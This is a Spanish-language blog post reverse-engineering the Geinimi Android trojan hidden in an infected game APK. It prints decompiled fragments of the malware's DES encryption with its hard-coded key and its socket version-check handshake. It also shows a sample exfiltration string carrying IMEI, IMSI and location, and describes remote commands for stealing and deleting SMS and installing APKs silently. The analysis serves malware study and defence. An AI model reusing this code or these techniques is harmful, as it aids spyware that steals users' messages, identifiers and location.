Introducción
A principios de año saltaba a la palestra la noticia de la aparición de un nuevo malware procedente de China para dispositivos Android. Geinimi o Gemini (así han decidido llamarlo los eruditos) ha sido considerado por varias fuentes como el más potente y dañino que se conoce hasta la fecha.
Su método de propagación a través de aplicaciones de terceros por Markets de dudosa reputación (en su mayoría procedentes del país de origen) conseguía su objetivo, infectar al usuario final y tomar el control del mismo.
Entre sus objetivos se le atribuye recolectar todo tipo de información de carácter privadodisponible en el dispositivo y establecer comunicación con servidores donde esta es enviada.
En lo que respecta a este post, mi intención es enfocar un poco el tema al análisis de la aplicación y de paso cubrir lo que viene a ser el reversing de los apk.
Preparando el terreno
La aplicación de la que vamos a servirnos es de MonkeyJump2.0.apk, infectada por Gemini como bien nos indica el informe de VirusTotal, en el que se obtiene un porcentaje del 40.5% de detección, 17 positivos sobre 42:
El archivo apk con MD5: e0106a0f1e687834ad3c91e599ace1be presenta la siguiente estructura una vez desempaquetado:
1
2
3
4
5
6
7
8
9
|
sebas@Helios:~ /Android/infected/MonkeyJump2 .0.apk_FILES$ tree . . |-- AndroidManifest.xml |-- classes.dex |-- META-INF |-- res `-- resources.arsc 5 directories, 46 files |
El icono asociado al mismo es:
Si tratamos de ver el contenido del fichero AndroidManifest.xml nos dice que está mal formado, aun así los permisos que solicita la aplicación son:
- CALL_PHONE: Realizar llamadas de teléfono sin necesidad de que el usuario de permiso explícito.
- SEND_SMS: Enviar SMS.
- READ_SMS: Leer los SMS.
- ACCESS_FINE_LOCATION: Acceder a nuestra posición geográfica.
- READ_CONTACTS: Leer la agenda de contactos.
- MOUNT_UNMOUNT_FILESYSTEMS: Montar y desmontar sistemas de ficheros para unidades extraíbles.
- WRITE_EXTERNAL_STORAGE: Posibilidad de escribir en un medio de almacenamiento externo.
- INSTALL_SHORTCUT:
- WRITE_CONTACTS: Escribir en la agenda de contactos.
- ACCESS_GPS:
- ACCESS_LOCATION:
- RESTART_PACKAGES:
- RECEIVE_SMS: Monitorizar los SMS de entrada para almacenarlos o procesarlos.
- SMS_RECEIVE:
- WRITE_SMS: Escribir SMS.
Los permisos no definidos pertenecen a funcionalidades de versiones previas de la API que están obsoletas.
Llegados a este punto, nos podemos hacer una ligera idea del potencial que guarda este pequeño mono come plátanos. Permisos como RECEIVE_SMS, WRITE_SMS hacen pensar que una de las funcionalidades incluidas en este malware sea el de formar parte de una botnet a la espera de recibir instrucciones por SMS. Si a eso le sumamos los permisos para obtener nuestra localización, y la posibilidad de montar dispositivos de almacenamiento externo, así como acceso completo a nuestra agenda de contactos, nos encontramos ante la posibilidad de dejar expuestos nuestros datos personales y privados a terceros.
Para facilitar la tarea en el proceso de reversing vamos a utilizar las herramientas dex2jar para transformar el fichero de clases Java .dex a .jar y Jad para desempacar el fichero resultante.
1
|
sebas@Helios:~ /Android $ . /dex2jar .sh MonkeyJump2.0.apk_FILES /classes .dex |
Nos creará un fichero classes.dex.dex2jar.jar que al descomprimir nos devolverá todo el conjunto de ficheros .class que componen la aplicación. El siguiente paso será transformarlo a extensión .jad y trabajar directamente sobre el código.
Tres, dos, uno… ACCIÓN
Para facilitarnos un poco el terreno nos haremos con una copia legítima de la aplicación sin infectar, repetiremos los pasos previos y haremos un diff de todos los ficheros obtenidos para comparar qué porciones del mismo se han visto modificadas.
A la izquierda la versión original y a la derecha la versión infectada, con más de 100 ficheros nuevos. No voy a tratar cada una de las funcionalidades que se han incluido en el mismo, así que me detendré a destacar las que más me han llamado la atención.
Ofuscación
Con la intención de pasar inadvertido y complicar las cosas un poco a la hora de analizarlo, Gemini aplica dos técnicas anti análisis como son la ofuscación y el cifrado. Así todas las comunicaciones que se producen entre el servidor y el cliente van bajo el algoritmo DES y la clave «12345678«.
Esto dificulta en demasía cualquier análisis estático que queramos aplicar al binario. Así podemos encontrar en el fichero MonkeyJump2.0/jump2/e/p.jad la función utilizada para cifrar y descifrar:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
public static byte [] a( byte abyte0[]) { if (b == null ) { byte abyte1[] = k.b; DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = SecretKeyFactory.getInstance( "DES" ).generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance( "DES" ); b = cipher; cipher.init( 2 , secretkey); } if (b != null ) goto _L2; else goto _L1 _L1: byte abyte2[] = null ; _L3: return abyte2; _L2: byte abyte3[] = b.doFinal(abyte0); abyte2 = abyte3; goto _L3 Exception exception; exception; abyte2 = null ; goto _L3 } |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
public static byte [] b( byte abyte0[]) { byte abyte2[]; byte abyte1[] = k.b; DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = SecretKeyFactory.getInstance( "DES" ).generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance( "DES" ); cipher.init( 1 , secretkey); abyte2 = cipher.doFinal(abyte0); byte abyte3[] = abyte2; _L2: return abyte3; Exception exception; exception; abyte3 = null ; if ( true ) goto _L2; else goto _L1 _L1: } |
Analizando un poco más dicho fichero, encontramos una lista de arrays que contienen todos los strings utilizados por el troyano, conociendo el algoritmo y la clave utilizada para generar la información codificada, realizar el proceso contrario es trivial, y la lista que se obtiene puede verse aquí.
Como se ve, hay una serie de direcciones URL que comentaremos más adelante qué objetivo tienen.
Comunicación
La comunicación con el C&C se sucede a través de un socket TCP que corre bajo los puertos 5432,4501, o 6543. Gemini ejecuta un servicio para crear un hilo encargado de manejar el socket, que permanece a la escucha de recibir la cadena «hi,are you online?«, a lo que responde con «yes,I’m online«. Posteriormente el cliente envía la versión SDK del troyano y el servidor responde con la versión que él está ejecutando.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
public static boolean isRunningServices(Context context) { int i1; int j1; boolean flag; int k1; i1 = 0 ; String as[] = com.dseffects.MonkeyJump2.jump2.e.k.f().split( "\." ); j1 = Integer.parseInt(as[i1]); flag = Integer.parseInt(as[ 1 ]); k1 = i1; _L3: int l1 = a.length; if (i1 >= l1) break MISSING_BLOCK_LABEL_261; if (k1 == 0 ) goto _L2; else goto _L1 _L1: flag = true ; _L4: return flag; _L2: try { // Obtenemos un puerto de la lista {5432, 4501, 6543} int i2 = a[i1]; // Crea un socket en el puerto especificado Socket socket = new Socket( "127.0.0.1" , i2); b = socket; InputStream inputstream = socket.getInputStream(); OutputStream outputstream = b.getOutputStream(); byte abyte0[] = "hi,are you online?" .getBytes(); outputstream.write(abyte0); Timer timer = new Timer(); u u1 = new u(); // Crea un objeto de la clase Timer y lo inicializa para saber cuándo cerrar la conexión timer.schedule(u1, 5000L); // Lee 256 bytes del inputStream byte abyte1[] = new byte [ 256 ]; int j2 = inputstream.read(abyte1); // Saca una cadena del array de bytes y compara que sea igual a "yes, I'm online" // Si las cadenas no coinciden, prueba con otro puerto y vuelve a ejecutar la misma porción de código if (( new String(abyte1, 0 , j2)).equals( "yes,I'm online!" )) { // Cancela el timer timer.cancel(); // Escribe la mayor versión del SDK outputstream.write(j1); // Escribe la menor versión del SDK outputstream.write(flag); // Recibe la mayor versión del SDK por parte del servidor int k2 = inputstream.read(); // recibe la mnenor versión del SDK por parte del servidor int l2 = inputstream.read(); // Comprueba si nos encontramos ejecutando versiones distintas if (j1 < k2 || j1 == k2 && flag <= l2) k1 = 1 ; // Si es así devuelve true outputstream.flush(); outputstream.close(); inputstream.close(); b.close(); // Si no, cierra la conexión } timer.cancel(); } catch (Exception exception) { } i1++; goto _L3 flag = k1; goto _L4 } |
Se encarga de comprobar si estamos ejecutando la misma versión del troyano que tiene el servidor y si no es así, procedemos a actualizarla. Por otro lado en el fichero MonkeyJump2.0/jump/j.jadencontramos cómo acepta el servidor socket, lee las versiones del SDK y decide continuar o parar el servicio del troyano.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
public final void run() { do try { e e1 = a; // Aceptamos el socket Socket socket = a.c.accept(); e1.d = socket; InputStream inputstream = a.d.getInputStream(); OutputStream outputstream = a.d.getOutputStream(); Timer timer = new Timer(); com.dseffects.MonkeyJump2.jump2.k k1 = new com.dseffects.MonkeyJump2.jump2.k( this ); timer.schedule(k1, 5000L); byte abyte0[] = new byte [ 256 ]; // Convierte los bytes leidos en strings int i1 = inputstream.read(abyte0); // Si los strings no coinciden, cerramos el socket, y lo volvemos abrir a la espera // de que se produzca la conexión deseada if (( new String(abyte0, 0 , i1)).equals( "hi,are you online?" )) { timer.cancel(); byte abyte1[] = "yes,I'm online!" .getBytes(); outputstream.write(abyte1); // Lee la mayor versión del SDK int j1 = inputstream.read(); // Lee la menor versión del SDK int l1 = inputstream.read(); // Envia la versión mayor del SDK outputstream.write( 10 ); // Envía la versión menor del SDK outputstream.write( 5 ); outputstream.flush(); outputstream.close(); inputstream.close(); a.d.close(); String as[] = k.f().split( "\." ); // Compara la versión mayor del SDK recibida con la versión interna int l = Integer.parseInt(as[ 0 ]); // Compara la versión menor del SDK recibica con la versión interna int i = Integer.parseInt(as[ 1 ]); // Si las versiones del SDK recibidas son mayores que las internas, para // la instancia que se está ejecutando del troyano if (j1 > l || j1 == l && l1 > i) { a.e = true ; a.stopSelf(); } } timer.cancel(); } catch (IOException ioexception) { } while ( true ); }
|
Una vez la conexión se a establecido, es hora de comenzar a enviar datos al C&C, ¿recordáis las direcciones URL que obtuvimos antes?, esas son las a las que establece conexión Gemini para mandar los datos. El tiempo de espera entre cada una de ellas es de cinco minutos. Una vez se realiza el primer envío de datos, el dispositivo móvil queda en un estado de stand-by a la espera de recibir nuevas órdenes a ejecutar. Toda esta información es pasada a través de una variable llamadaparams= cuyo contenido está cifrado siguiendo el algoritmo y la clave anteriormente descrita.
1
|
PTID=33050001&IMEI=000000000000000&sdkver=10. 7&SALESID=0006&IMSI=310260000000000&longitude=0.0&latitude=0. 0&DID=2001&autosdkver=10.7&CPID=3308 |
Algunos de los parámetros que se pasan son:
- PTID, SALESID, DID, CPID: son utilizados para identificar qué paquete ha sido infectado por el troyano
- IMEI: International Mobile Equipment Identity
- IMSI: International Mobile Subscriber Identity
Mientras que los primeros sirven para identificar la aplicación en sí, los dos últimos identifican a un usuario de un dispositivo móvil, además de conocer la posición en la que se encuentra en todo momento. Llegados a este punto, dudo personalmente que hayan diseñado el mismo con la intención de atacar objetivos específicos, simplemente una forma de tener más controlados a los usuarios que han sido infectados.
Comandos
Una de las principales características del troyano Gemini que lo diferencian de los malware anteriores es la cantidad de comandos que posee. Lejos de ser simples instrucciones para cada uno de ellos podemos encontrar un constructor encargado de crear una instancia del mismo, un parser para los parámetros que enviamos y un método encargado de implementar toda la lógica de ejecución. Entre de los más nocivos, encontramos:
- smsrecord: Permite enumerar todos los mensajes recibidos y enviados al dispositivo móvil y enviarlos a un servidor remoto, además se puede pasar como parámetro una fecha de comienzo y otra de fin para establecer una búsqueda por rangos
- dsms: Borra mensajes SMS especificando un número, o aquellos que contengan una palabra clave
- showurl: Abre una dirección URL indicada
- call: Realiza una llamada a un número arbitrario de nuestra agenda de contactos
- install://: Descarga un APK y realiza una instalación desatendida para el usuario.
Conclusión
Gemini representa una vuelta de tuercas a la visión de malware para dispositivos smartphone que hemos estado teniendo hasta día de hoy. Es el primero en incluir su código en aplicaciones de terceros, recordemos que ha llegado a ser identificado bajo varios nombres de APK’s legítimas en el market.
Enfoca el concepto de malware desde el punto de vista de convertir nuestro teléfono en una botnet a la espera de recibir comandos por parte de un servidor con el que establece una conexión.
Sinceramente opino que servirá de precedentes para una nueva oleada más sofisticada y peligrosa de malware, como ya hemos visto en situaciones anteriores.
Contribución por Sebastián Guerrero
Una respuesta a “Reversing Android.Geinimi.A”